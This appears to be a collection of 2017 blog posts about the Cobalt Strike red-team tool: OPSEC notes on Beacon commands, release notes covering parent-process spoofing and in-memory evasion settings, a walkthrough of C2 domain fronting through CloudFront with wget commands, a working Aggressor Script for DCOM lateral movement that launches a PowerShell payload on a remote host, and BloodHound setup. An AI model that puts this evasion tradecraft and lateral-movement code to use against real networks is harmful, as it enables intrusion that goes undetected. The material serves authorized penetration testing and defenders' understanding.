h1

OPSEC Considerations for Beacon Commands

June 23, 2017

A good operator knows their tools and has an idea of how the tool is accomplishing its objectives on their behalf. This blog post surveys Beacons commands and provides background on which commands inject into remote processes, which commands spawn jobs, and which commands rely on cmd.exe or powershell.exe.

API-only

These commands are built-into Beacon and rely on Win32 APIs to meet their objectives.

cd
cp
download
drives
exit
getuid
kerberos_ccache_use
kerberos_ticket_purge
kerberos_ticket_use
jobkill
kill
link
ls
make_token
mkdir
mv
ppid
ps
pwd
rev2self
rm
rportfwd
socks
steal_token
timestomp
unlink
upload

House-keeping Commands

The following commands are built into Beacon and exist to configure Beacon or perform house-keeping actions. Some of these commands (e.g., clear, downloads, help, mode, note) do not generate a task for Beacon to execute.

cancel
checkin
clear
downloads
help
jobs
mode dns
mode dns-txt
mode dns6
mode http
note
powershell-import
sleep
socks stop
spawnto

Post-Exploitation Jobs (Process Execution + Remote Process Injection)

Many Beacon post-exploitation features spawn a process and inject a capability into that process. Beacon does this for a number of reasons: (i) this protects the agent if the capability crashes, (ii) this scheme makes it seamless for an x86 Beacon to launch x64 post-exploitation tasks. The following commands run as post-exploitation jobs:

browserpivot
bypassuac
covertvpn
dcsync
desktop
elevate
hashdump
keylogger
logonpasswords
mimikatz
net
portscan
powerpick
psinject
pth
screenshot
shspawn
spawn
ssh
ssh-key
wdigest

OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe (you probably don’t want that). The ppid command will change the parent process these jobs are run under as well.

Process Execution

These commands spawn a new process:

execute
runas
runu

OPSEC Advice: The ppid command will change the parent process of commands run by execute. The ppid command does not affect runas or spawnu.

Process Execution: Cmd.exe

The shell command depends on cmd.exe.

The pth and getsystem commands get honorable mention here. These commands rely on cmd.exe to pass a token to Beacon via a named pipe.

OPSEC Advice: the shell command uses the COMSPEC environment variable to find the preferred command-line interpreter on Windows. Use Aggressor Script’s &bsetenv function to point COMSPEC to a different cmd.exe location, if needed. Use the ppid command to change the parent process the command-line interpreter is run under. To pth without cmd.exe, execute the pth steps by hand.

Process Execution: PowerShell.exe

The following commands launch powershell.exe to perform some task on your behalf.

powershell
spawnas
spawnu
winrm
wmi

OPSEC Advice: Use the ppid command to change the parent process powershell.exe is run under. Be aware, there are alternatives to each of these commands that do not use powershell.exe:

  • spawnu has runu which runs an arbitrary command under another process.
  • spawnas has runas which runs an arbitrary command as another user.
  • powershell has powerpick, this command runs powershell scripts without powershell.exe.
  • It’s also possible to laterally spread without the winrm and wmi commands.

Remote Process Injection

The post-exploitation job commands (previously mentioned) rely on process injection too. The other commands that inject into a remote process are:

dllinject
inject
shinject

Service Creation

The following internal Beacon commands create a service (either on the current host or a remote target) to run a command. These commands use Win32 APIs to create and manipulate services.

getsystem
psexec
psexec_psh

h1

Cobalt Strike 3.8 – Who’s Your Daddy?

May 23, 2017

Cobalt Strike 3.8 is now available. This release adds features to spawn processes with an alternate parent process. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows.

Processes with Alternate Parents

A favorite hunt technique is to instrument a host to report all new processes, their arguments, and the parent process. Hunt operators (and automated solutions) separate the noise from the interesting by looking for odd parent/child process relationships.

This release of Cobalt Strike pushes back on this technique with the ppid command. The PPID command tasks Beacon to launch cmd.exe, powershell.exe, and other processes with an alternate parent. This feature takes advantage of an API, introduced with Windows Vista, to enable consent.exe to launch elevated processes with the non-elevated requester as the parent.

This opens a lot of possibilities. For example, if I’m in a user context, I might set explorer.exe as my parent with something plausible (e.g, iexplore.exe) for my temporary processes. If I’m in a SYSTEM context, I might use services.exe as my parent process and ask Beacon to use svchost.exe for its temporary processes.

To benefit from the ppid command, your session must have rights to access the parent process. I also recommend that you specify a parent process that exists in the same desktop session. If you don’t, random commands and workflows may fail.

Another way to hop Desktop Sessions

It’s possible, with a few extra steps, to run commands under a parent that lives in another desktop session. Programs run this way will take on the rights and identity of their parent.

Beacon’s runu command runs an arbitrary command as a child of another parent. This command takes the necessary extra steps to do this across session boundaries.
The spawnu command builds on this primitive to spawn a session with powershell.exe.

These commands offer means to spawn a payload, in another desktop session, without remote process injection. As detection of remote process injection becomes more common, it’s important to have other ways to achieve our goals without this offensive technique.

The Resource Kit

Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates! The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. Go to Help -> Arsenal from a licensed copy of Cobalt Strike to download the Resource Kit.

The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.8. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

h1

Java Startup Bug in Java 1.8u131

April 26, 2017

If you recently updated your penetration testing environment, it’s possible you were greeted with a special surprise. Cobalt Strike and its team server will no longer start.

Instead of Cobalt Strike, you’re now greeted with this very intuitive and helpful error: The Parallel GC can not be combined with -XX:ParallelGCThreads=0.

I’ve had a few emails about this. My first answer: I have no idea what that means. Now, I have an answer! This is a known bug in Java 1.8u131. This recent update to Oracle’s Java introduces a change that breaks the -XX:+AggressiveHeap command line option Cobalt Strike uses. This command line option is not uncommon in the Java world and other applications are affected.

The Java team is aware of this bug and it has a priority level 2. This is the level reserved for Crashes, losses of data, and severe memory leaks. They’re taking it seriously and I expect this problem to go away in a coming Java update.

On Linux, one way to work around this Oracle Java bug is to update the cobaltstrike and teamserver scripts to specify the -XX:ParallelGCThreads=8 option after the java command.

I advise that you stay away from Oracle Java 1.8u131. If you already updated to Java 1.8u131, then downgrade to Java 1.8u121.

What about OpenJDK? I continue to recommend Oracle’s Java distribution for use with Cobalt Strike. Oracle’s Java distributions go through a series of acceptance tests to make sure the build is sane. This isn’t always the case with OpenJDK builds/packages. This has led to serious issues in the past.

Update May 23, 2017: Cobalt Strike 3.8 includes a work-around for this issue in its Linux, MacOS X, and Windows launchers. Download the 3.8 trial package to get the latest version of these launchers. This will address the issue.

h1

Cobalt Strike 3.7 – Cat, Meet Mouse

March 15, 2017

The 8th release of the Cobalt Strike 3.0 series is now available. The release extends Malleable C2 to influence how Beacon lives in memory, adds code-signing for executables, and gives operators control over which proxy server Beacon uses. There’s a lot of good stuff here. Let’s dig into it.

Malleable PE

A key goal of Cobalt Strike is to challenge analysts and keep the toolset interesting as they and their capabilities evolve. Many forward leaning security programs rely on memory forensics to detect and respond to actors with capabilities similar to and beyond Cobalt Strike. This release adds some flexibility in this area.

Cobalt Strike 3.7’s Malleable C2 stage block specifies how Beacon lives in memory through changes to Beacon’s Reflective DLL stage. Here’s what this looks like:

stage {
	set userwx "false";
	set compile_time "14 Jul 2009 8:14:00";
	set image_size_x86 "512000";
	set image_size_x64 "512000";
	
	transform-x86 {
		prepend "\x90\x90"; # NOP, NOP!
		strrep "ReflectiveLoader" "DoLegitStuff";
	}

	transform-x64 {
		# transform the x64 rDLL stage
	}
}

Let’s start with permissions: Something magical happens when an analyst sweeps processes for RWX pages. Payloads fall out of the memory. Stagers fall out too. This is because many offensive tools use these liberal permissions, even when they’re not needed. The userwx option gives you control over this. Set userwx to false and Beacon’s Reflective DLL Loader will avoid these permissions.

Veteran analysts with multiple rounds of Cobalt Strike experience may know the size of Beacon’s reflective DLL in memory. I’ve heard 0x42000 thrown around many times. This is the SizeOfImage value in Beacon’s PE header. The image_size_x86 and image_size_x64 options control this value. If you emulate a specific threat actor, consider a SizeOfImage value that matches their malware.

Finally, in the cyber, attribution matters. Nothing feeds fantastical pet attribution theories quite like when the actor compiled their malware. The compile_time option changes this value in Beacon’s Reflective DLL header.

The transform-x86 and transform-x64 blocks pad and transform Beacon’s stage. If you choose to prepend data, make sure it’s valid code for the stage’s architecture. There’s no check for this.

The Malleable C2 documentation has more information on these new options.

Code Signing

This release adds a code signing capability to Cobalt Strike. This feature requires a valid code-signing certificate stored in a Java Keystore file. Those of you who’ve signed Cobalt Strike’s Java Applet already have one of these keystores available. Use Malleable C2’s code-signer block to tell Cobalt Strike about your code-signing certificate.

# setup code-signing certificate for our EXEs and DLLs
code-signer {
	set keystore "keystore.jks";
	set password "password";
	set alias    "server";
}

After you specify a certificate, the Sign executable file box in Attacks -> Packages -> Windows EXE and Attacks -> Packages -> Windows EXE (S) becomes available. Check this box and Cobalt Strike will sign your artifact. It’s as easy as that!

Proxy Override

I’ve had many requests for a way to specify alternate proxy settings for Beacon. This release adds user-specified proxy settings to Beacon’s stageless artifacts. Go to Attacks -> Packages -> Windows EXE (S) and press next to the proxy field to configure this option.

You may leave these proxy settings as-is (default), instruct Beacon to connect directly, or make Beacon use the proxy configuration and credentials that you specify. These options should help in a few situations.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.7. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

h1

High-reputation Redirectors and Domain Fronting

February 6, 2017

Working on Cobalt Strike, I get some insight into what folks are trying to do with it. Recently, the use of domain fronting for redirectors has come on my radar.

A redirector is a server that sits between your malware controller and the target network. Domain fronting is a collection of techniques to make use of other people’s domains and infrastructure as redirectors for your controller.

A trivial form of domain fronting is to stand up a node in Amazon’s EC2 and configure it as a redirector for your controller. The FQDN of your EC2 instance is an amazonaws.com subdomain. Your payloads may call home to this. While this is beneficial in some cases, this isn’t where things get interesting.

Domain fronting becomes interesting when used to appropriate high-reputation domains as redirectors for your controller.

Domain Fronting with Alternate Hosts

How is it possible to use a high-reputation domain that you don’t control? Let’s use Amazon’s CloudFront as an example.

CloudFront is a Content Delivery Network service. It provides its users a globally distributed cache for files hosted on their servers. This reduces load on the customer’s servers and allows the CDN to serve cached content from data centers close(r) to the requester. Each CloudFront configuration is called a “distribution”.

CloudFront identifies distributions by the FQDN used to request resources. Each CloudFront distribution has a unique cloudfront.net subdomain. CloudFront’s users also have the option to serve CloudFront cached objects via their own sub-domain. This is done by creating a DNS record that points to CloudFront and telling CloudFront to associate that DNS record with a specific distribution. Easy enough.

When a client connects to CloudFront, the DNS name that led there is lost information. CloudFront relies on other parts of the request to extract which DNS name the client wants resources from. In an HTTP request, this is the Host header.

One way to domain front is to configure a payload to call home to one host (e.g., media.startupunicorn.com) and set the Host header to something else (e.g., mydistribution.cloudfront.net). If the Host header is set right (and nothing else changes it), your cloudfront.net configuration will dictate what happens next.

df_http_noproxy

Let’s examine what this looks like by hand.

The host malwarec2.losenolove.com is my Cobalt Strike web server, setup to serve /foo.txt. Naturally a request with wget works. (Note: I change wget’s User-Agent with –U because Cobalt Strike always returns a 404 for lynx, wget, and curl useragents).

root@kali:~# wget -U demo -q -O - http://malwarec2.losenolove.com/foo.txt
I'm a happy little malware controller. 🙂

d16b91n8fagr3u.cloudfront.net is my CloudFront distribution. I’ve configured it to serve objects from malwarec2.losenolove.com. A request to this host works to retrieve our file as well:

root@kali:~# wget -U demo -q -O - http://d16b91n8fagr3u.cloudfront.net/foo.txt
I'm a happy little malware controller. 🙂

What happens if we forge the Host header to a different identity? In this case, we get nothing back.

root@kali:~# wget -U demo -q -O - http://d16b91n8fagr3u.cloudfront.net/foo.txt --header "Host: notmydistribution.cloudfront.net"

a0.awsstatic.com is a domain name that points to CloudFront. I know about this domain because other resources on domain fronting use it as an example. If I request /foo.txt from this host, naturally it’s not going to give me anything.

root@kali:~# wget -U demo -q -O - http://a0.awsstatic.com/foo.txt

Let’s modify that slightly. We’ll use the a0.awsstatic.com domain (it all goes to the same place, right?)—but, we’ll forge the Host header to the FQDN of my CloudFront distribution. In this case, I get back the text file.

root@kali:~# wget -U demo -q -O - http://a0.awsstatic.com/foo.txt --header "Host: d16b91n8fagr3u.cloudfront.net"
I'm a happy little malware controller. 🙂

Here, I’ve used a0.awsstatic.com as my high-reputation domain name. There are other, far more interesting, options though.

Domain Fronting with Cobalt Strike

Tom Steele and Chris Patten from Optiv’s Attack and Penetration Team wrote Escape and Evasion Egressing Restricted Networks. This blog post shows how to setup a CloudFront distribution as a redirector for Cobalt Strike’s Beacon payload.

Once this is setup, you’ll want to decide which domain(s) you will use as redirectors. Let’s say a popular blog service uses CloudFront to serve static images. You may decide it makes sense to use this domain for your C2. Fine!

Next, I recommend you configure a Cobalt Strike Malleable C2 profile that matches something plausible on this domain. Malleable C2 is a Cobalt Strike technology that allows you, the product’s user, to shape Cobalt Strike’s Beacon traffic to look like other malware or something legitimate. If the domain serves static images, make a profile that looks like one of these static images. Keep in mind it’s possible to use only HTTP GETs (or even HTTP POSTs) for C2.

Once you have that part figured out, you’ll want to update your profile to insert your CloudFront distribution’s FQDN into the Host header. You can do this with Malleable C2’s header keyword:

http-get {
	client {
		header "Host" "[your distribution].cloudfront.net";

Make sure you do this in both the http-get -> client and http-post -> client Malleable C2 blocks. During a conversation, a friend remarked that they were stuck for awhile because they set the Host header in the http-get block, but not the http-post block. You have to set this in both places.

http-post {
	client {
		header "Host" "[your distribution].cloudfront.net";

Once this is setup, you can configure your Beacon payload to call home to different domains that point to CloudFront.

One limitation: there’s no option to set the Host header in Cobalt Strike’s stagers. You can work with stageless payloads though. Go to Attacks -> Packages -> Windows EXE (S) to export a Cobalt Strike stageless artifact. If you want to stage, I recommend that you configure the stager to connect to your cloudfront.net distribution directly or use another redirector.

This video walks through all of this, end-to-end:

 Finding High-reputation Domains for Use

My examples here use a0.awsstatic.com as an alternate host. Think of it as the Hello World of Domain Fronting. Vincent Yiu from MDSec took this a step further. He wrote a script to check likely CDN subdomains from a list of popular websites. His initial work found over three thousand subdomains that point to CloudFront and demonstrated that they work as alternate hosts with the technique discussed here.

A Note About RFC 2616, Section 14.23

So far, this blog post focuses on domain fronting over HTTP. If the target system goes through a proxy server, you’re in trouble. An RFC-compliant HTTP proxy server will rewrite the Host header in an HTTP request to match the domain in the URL it’s asked to retrieve. The Squid proxy documentation talks about this behavior. For many some networks, this means HTTP is a non-option.

df_http_withproxy

Update 7 Feb 2017: This behavior matches my experiments with a Squid proxy locally, but don’t take it for granted that your target’s appliance(s) work this way. After I made this post live, Vincent Yiu took a look at a commercial secure web appliance and its behavior with these techniques. This appliance didn’t rewrite the Host header as expected. If you’re curious about how an appliance that enforces site categorization behaves with these techniques, Vincent’s latest video is worth a look:

You probably want SSL/TLS

What about SSL/TLS? That’s an option. This will likely get you through some proxy configurations. A device that intercepts SSL traffic will may make life more difficult. You may find that certain networks will exempt some high-reputation domains from SSL interception.

df_https_withproxy

If you’d like to use the HTTPS Beacon with CloudFront:

  1. Be aware, CloudFront requires your web server to have a valid SSL certificate.
  2. Consult Cobalt Strike’s Malleable C2 documentation. It shows how to use a valid SSL certificate with Beacon.

Other Services

Here, I’ve given a lot of details on domain fronting with CloudFront. There are other fronting-capable web services where these (and other) techniques apply. The Camouflage at encryption layer: domain fronting blog post demonstrates these concepts with Google App Engine. The documentation for the Meek Pluggable Tor Transport also discusses several domain fronting options. Finally, Blocking-resistant communication through domain fronting describes this concept in detail, for multiple services.

My Thoughts

Domain Fronting is an interesting technique to use high-reputation domains for callbacks. It’s not the right tool for all situations though. An RFC compliant proxy will defeat HTTP requests. A proxy server that terminates and inspects SSL/TLS sessions will might handily defeat this as well. There’s probably wiggle room using this technique with whitelisted high-reputation domains. This makes locating domain options even more important! Remember, these are not CloudFront-only techniques.

h1

Scripting Matt Nelson’s MMC20.Application Lateral Movement Technique

January 24, 2017

This is a short blog post with a long title. A few weeks ago, Matt Nelson published Lateral Movement Using the MMC20.APPLICATION COM Object (there’s a Part 2 as well!). The post documents an option, beyond the usual suspects (e.g., services, scheduled tasks, wmi, etc.), to ask a remote system to run a process for you.

Matt Nelson’s technique calls the ExecuteShellCommand method of the MMC20.Application COM object. One of the features of COM is its ability to remotely instantiate objects and call methods on them. By calling this method remotely, we can make the target system run a command to load our agent into memory or weaken the target’s configuration for other post-exploitation options.

In this post, I will show you how to add this technique to Cobalt Strike with Aggressor Script. Aggressor Script is Cobalt Strike’s scripting language to extend the Cobalt Strike client and add bots to your engagement. Making it easy to quickly add and use new TTPs from Cobalt Strike is very much one of Aggressor Script’s goals.

Here’s a script that adds a com-exec command to Beacon. This scripted command is similar to Beacon’s existing psexec, psexec_psh, wmi, and winrm commands for lateral movement.

# Lateral Movement alias
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

# register help for our alias
beacon_command_register("com-exec", "lateral movement with DCOM",
	"Synopsis: com-exec [target] [listener]\n\n" .
	"Run a payload on a target via DCOM MMC20.Application Object");

# here's our alias to collect our arguments
alias com-exec {
	if ($3 is $null) {
		# let the user choose a listener
		openPayloadHelper(lambda({
			com_exec_go($bid, $target, $1);
		}, $bid => $1, $target => $2));
	}
	else {
		# we have the needed arguments, pass them
		com_exec_go($1, $2, $3);
	}
}

# this is the implementation of the attack
sub com_exec_go {
	local('$command $script $oneliner');

	# check if our listener exists
	if (listener_info($3) is $null) {
		berror($1, "Listener $3 does not exist");
		return;
	}

	# state what we're doing.
	btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via DCOM");

	# generate a PowerShell one-liner to run our alias	
	$command = powershell($3, true, "x86");

	# remove "powershell.exe " from our command
	$command = strrep($command, "powershell.exe ", "");

	# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
	$script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
	$script .= $2;
	$script .=  '")).Document.ActiveView.ExecuteShellCommand("';
	$script .= 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe';
	$script .= '", $null, "';
	$script .= $command;
	$script .= '", "7")';

	# run the script we built up
	bpowershell!($1, $script);
	
	# complete staging process (for bind_pipe listeners)
	bstage($1, $2, $3);
}

This alias is similar to the lateral movement example in the Aggressor Script documentation. To use this alias: put the above into a script, load it, and use com-exec [target] [listener] within Beacon. If you type com-exec [target], Cobalt Strike will ask you which listener you want to use.

That’s it!

h1

My First Go with BloodHound

December 14, 2016

I finally had a chance to sit down and play with BloodHound. This was an item on my hacker todo list for awhile now. In this blog post, I’ll take you through my initial steps setting up and using this tool. It’s my hope that this information will help you get started with BloodHound too.

What is BloodHound?

BloodHound is a tool to analyze and understand Active Directory Trust Relationships. For an offensive practitioner, this tool can highlight the hops you might take to reach a goal within a network. For a defensive practitioner, this tool is gold as it can show you the most likely paths an attacker might take. It’s a good exercise to decide which of these trust paths needs to exist and which you can eliminate.

BloodHound is open source (GPLv3) and its developers are Andy Robbins, Rohan Vazarkar, and Will Schroeder from Veris Group’s Adaptive Threat Division.

To get an initial taste of the tool, I recommend that you watch their Six Degrees of Domain Admin conference talk.

Setup

There are setup instructions on the BloodHound Wiki. These instructions do assume some familiarity with Neo4j. For the record, I have no familiarity with Neo4j. I found the Setting Up BloodHound on Debian Jessie post by Sanjiv Kawa very helpful. With Sanjiv’s information and the information on the BloodHound Wiki, I was able to get everything going on Kali Linux 2016 rolling without too much trouble.

Use

Once BloodHound is running, you’ll want to bring some data into it and give it a spin. There is an example database, but I chose to pull BloodHound data from my test environment and import it into the tool instead.

BloodHound comes with a PowerShell script with several cmdlets that make this process easy. Get-BloodHoundData collects the data BloodHound needs. This cmdlet will return a PowerShell object. It’s necessary to pipe this object to another cmdlet to take some action on it. The Export-BloodHoundCSV cmdlet will dump the BloodHound data into three CSV files.

powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV

The CSV files will exist on the target where the above cmdlets were run. To import them into BloodHound: download the CSV files and use the Upload function in BloodHound’s interface.

From this point, you’re ready to run queries against this data. BloodHound has several pre-built queries and it’s also very easy to ask BloodHound to give you a trust path from one identity or system to another.

In this video I demonstrate these steps:

Summary

I think BloodHound is one of the neatest things to come into the red teamer’s arsenal this year. While my demo network is easy to go through by hand, imagine the use of this tool in a much larger environment with more complex trusts. There’s a lot of power here.